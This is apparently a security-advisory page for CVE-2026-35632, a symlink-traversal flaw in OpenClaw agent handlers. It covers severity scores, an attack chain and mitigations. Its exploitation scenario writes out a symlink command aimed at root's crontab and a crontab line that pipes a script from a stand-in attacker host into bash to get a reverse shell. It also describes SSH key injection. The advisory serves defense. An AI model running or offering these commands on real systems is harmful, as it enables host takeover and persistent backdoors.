CVE-2026-35632: OpenClaw symlink traversal enables

CISO Take

OpenClaw's agent creation and update handlers write to IDENTITY.md using fs.appendFile without verifying whether the target path is a symlink, allowing any user with workspace access to redirect those writes to arbitrary host files. An attacker can inject crontab entries to achieve remote code execution or append SSH public keys for persistent backdoor access — with no user interaction required beyond triggering a normal agent workflow. With EPSS in the top 76th percentile and attack complexity rated low (PR:L, AC:L, UI:N), this is trivially exploitable by anyone who has obtained workspace access, a realistic scenario in shared or multi-tenant agent deployments; the OpenClaw ecosystem has already been linked to credential-theft campaigns via malicious skills (AIID #1368), confirming active adversarial interest in this attack surface. No patched version is confirmed in the advisory; immediate mitigations are to audit workspace directories for existing symlinks ('find . -name IDENTITY.md -type l'), restrict symlink creation permissions on workspace filesystems, and monitor crontab and SSH authorized_keys files for unauthorized modifications.

Sources: NVD EPSS GitHub Advisory ATLAS AIID

What is the risk?

High risk for any multi-user or shared OpenClaw deployment. CVSS 7.1 with local access, low complexity, and low privileges makes this exploitable by any compromised or insider workspace user without escalation. AI agent frameworks frequently run as service accounts with broad filesystem access, amplifying the blast radius well beyond what the CVSS local-access rating implies. EPSS at the 76th percentile signals above-average exploitation likelihood relative to all published CVEs. The 396 other CVEs in the same package ecosystem and the documented history of malicious skills targeting OpenClaw (AIID #1368) indicate a mature threat actor interest in this platform. The absence of a public exploit and KEV listing moderates immediate urgency slightly, but the attack path is elementary — a single symlink command followed by a normal user action.

How does the attack unfold?

Initial Access

Adversary obtains low-privilege workspace access via a compromised developer account, malicious collaborator, or prior foothold through the OpenClaw skills ecosystem.

AML.T0012

Pre-position

Adversary replaces or creates IDENTITY.md in the workspace as a symlink pointing to a sensitive host file such as /var/spool/cron/crontabs/root or ~/.ssh/authorized_keys.

AML.T0079

Exploitation

A user or automated pipeline triggers agents.create or agents.update with attacker-controlled agent content, causing OpenClaw's fs.appendFile to follow the symlink and write malicious content to the target system file.

AML.T0053

Impact

Injected crontab entry executes a reverse shell as the process owner achieving persistent RCE, or injected SSH public key grants backdoor host access surviving reboots and agent restarts.

AML.T0112.000

Initial Access

Adversary obtains low-privilege workspace access via a compromised developer account, malicious collaborator, or prior foothold through the OpenClaw skills ecosystem.

AML.T0012

Pre-position

Adversary replaces or creates IDENTITY.md in the workspace as a symlink pointing to a sensitive host file such as /var/spool/cron/crontabs/root or ~/.ssh/authorized_keys.

AML.T0079

Exploitation

A user or automated pipeline triggers agents.create or agents.update with attacker-controlled agent content, causing OpenClaw's fs.appendFile to follow the symlink and write malicious content to the target system file.

AML.T0053

Impact

Injected crontab entry executes a reverse shell as the process owner achieving persistent RCE, or injected SSH public key grants backdoor host access surviving reboots and agent restarts.

AML.T0112.000

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

7.1 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 25% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Local

AC Low

PR Low

UI None

S Unchanged

C None

I High

A High

What should I do?

5 steps

Patch: Monitor the vendor advisory (GHSA-7xr2-q9vf-x4r5) for a patched release and update immediately when available — no patched version is confirmed at time of analysis.
Immediate workaround: Restrict symlink creation in OpenClaw workspace directories using the 'nosymfollow' mount option on Linux, or via seccomp profiles blocking symlink-related syscalls (symlinkat, symlink) for the agent process.
Detection: Run 'find <workspace_root> -name IDENTITY.md -type l' to identify existing malicious symlinks. Enable file integrity monitoring (auditd, OSSEC, Wazuh) on /etc/cron.d/, /var/spool/cron/crontabs/, and all user ~/.ssh/authorized_keys files.
Hardening: Run OpenClaw agent processes under dedicated service accounts with home directories outside standard crontab paths; use read-only bind mounts for sensitive filesystem paths in containerized deployments.
Review: Audit all agent creation/update events in logs for anomalous IDENTITY.md write patterns.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Auth Bypass Agent Framework AML.T0053 - AI Agent Tool Invocation AML.T0079 - Stage Capabilities AML.T0081 - Modify AI Agent Configuration AML.T0110 - AI Agent Tool Poisoning AML.T0112.000 - Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 9 - Risk Management System

ISO 42001

A.6.2.3 - AI System Security Controls

NIST AI RMF

MANAGE-2.2 - Mechanisms to manage AI risks

OWASP LLM Top 10

LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-35632?

OpenClaw's agent creation and update handlers write to IDENTITY.md using fs.appendFile without verifying whether the target path is a symlink, allowing any user with workspace access to redirect those writes to arbitrary host files. An attacker can inject crontab entries to achieve remote code execution or append SSH public keys for persistent backdoor access — with no user interaction required beyond triggering a normal agent workflow. With EPSS in the top 76th percentile and attack complexity rated low (PR:L, AC:L, UI:N), this is trivially exploitable by anyone who has obtained workspace access, a realistic scenario in shared or multi-tenant agent deployments; the OpenClaw ecosystem has already been linked to credential-theft campaigns via malicious skills (AIID #1368), confirming active adversarial interest in this attack surface. No patched version is confirmed in the advisory; immediate mitigations are to audit workspace directories for existing symlinks ('find . -name IDENTITY.md -type l'), restrict symlink creation permissions on workspace filesystems, and monitor crontab and SSH authorized_keys files for unauthorized modifications.

Is CVE-2026-35632 actively exploited?

No confirmed active exploitation of CVE-2026-35632 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-35632?

1. Patch: Monitor the vendor advisory (GHSA-7xr2-q9vf-x4r5) for a patched release and update immediately when available — no patched version is confirmed at time of analysis. 2. Immediate workaround: Restrict symlink creation in OpenClaw workspace directories using the 'nosymfollow' mount option on Linux, or via seccomp profiles blocking symlink-related syscalls (symlinkat, symlink) for the agent process. 3. Detection: Run 'find <workspace_root> -name IDENTITY.md -type l' to identify existing malicious symlinks. Enable file integrity monitoring (auditd, OSSEC, Wazuh) on /etc/cron.d/, /var/spool/cron/crontabs/, and all user ~/.ssh/authorized_keys files. 4. Hardening: Run OpenClaw agent processes under dedicated service accounts with home directories outside standard crontab paths; use read-only bind mounts for sensitive filesystem paths in containerized deployments. 5. Review: Audit all agent creation/update events in logs for anomalous IDENTITY.md write patterns.

What systems are affected by CVE-2026-35632?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-tenant AI workspaces, local AI agent deployments, CI/CD AI pipelines.

What is the CVSS score for CVE-2026-35632?

CVE-2026-35632 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.32%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmulti-tenant AI workspaceslocal AI agent deploymentsCI/CD AI pipelines

MITRE ATLAS Techniques

AML.T0053 AI Agent Tool Invocation

AML.T0079 Stage Capabilities

AML.T0081 Modify AI Agent Configuration

AML.T0110 AI Agent Tool Poisoning

AML.T0112.000 Local AI Agent

Compliance Controls Affected

EU AI Act: Art. 9

ISO 42001: A.6.2.3

NIST AI RMF: MANAGE-2.2

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

OpenClaw through 2026.2.22 contains a symlink traversal vulnerability in agents.create and agents.update handlers that use fs.appendFile on IDENTITY.md without symlink containment checks. Attackers with workspace access can plant symlinks to append attacker-controlled content to arbitrary files, enabling remote code execution via crontab injection or unauthorized access via SSH key manipulation.

Exploitation Scenario

An adversary with low-privilege access to an OpenClaw workspace — via a compromised developer account, a malicious collaborator, or a prior foothold through the skills ecosystem (as seen in AIID #1368) — navigates to the workspace directory and executes: 'ln -sf /var/spool/cron/crontabs/root IDENTITY.md'. When any user or automated CI pipeline subsequently triggers agents.create or agents.update with attacker-controlled agent content, OpenClaw's handler calls fs.appendFile('IDENTITY.md', payload) which follows the symlink and appends '* * * * * curl https://attacker.com/shell.sh | bash' to the root crontab. Within one minute, cron executes the payload under root, yielding a reverse shell. Alternatively, the symlink targets ~/.ssh/authorized_keys to inject the attacker's public key, granting persistent SSH access that survives agent restarts and system reboots without any further interaction.

Weaknesses (CWE)

CWE-61 UNIX Symbolic Link (Symlink) Following

CWE-61 — UNIX Symbolic Link (Symlink) Following: The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

[Implementation] Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.
[Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Source: MITRE CWE corpus.